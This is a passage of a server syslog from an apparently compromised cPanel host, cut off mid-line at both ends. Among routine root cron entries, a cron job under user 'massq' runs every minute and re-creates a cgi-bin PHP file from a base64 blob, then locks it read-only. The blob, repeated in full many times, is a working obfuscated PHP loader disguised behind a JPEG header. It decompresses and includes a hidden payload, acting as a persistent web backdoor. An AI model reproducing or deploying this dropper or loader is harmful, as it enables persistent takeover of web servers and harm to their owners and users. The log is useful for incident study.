JRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:50:01 server CROND[2458]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 20:50:01 server CROND[2461]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 20:50:01 server CROND[2460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 20:50:01 server CROND[2462]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 20:50:01 server CROND[2464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:51:01 server CROND[2596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:52:01 server CROND[2755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:53:01 server CROND[2822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:54:01 server CROND[2894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:55:01 server CROND[2972]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 20:55:01 server CROND[2973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 20:55:01 server CROND[2974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:56:01 server CROND[3090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:57:01 server CROND[3194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:57:01 server CROND[3195]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 20:58:01 server CROND[3314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:59:01 server CROND[3386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:00:01 server CROND[3464]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 21:00:01 server CROND[3466]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 21:00:01 server CROND[3465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:00:01 server CROND[3467]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 21:01:01 server CROND[3601]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 21:01:01 server CROND[3602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:01:01 server run-parts(/etc/cron.hourly)[3601]: starting 0anacron
Apr 10 21:01:01 server run-parts(/etc/cron.hourly)[3614]: finished 0anacron
Apr 10 21:02:01 server CROND[3684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:03:01 server CROND[3840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLC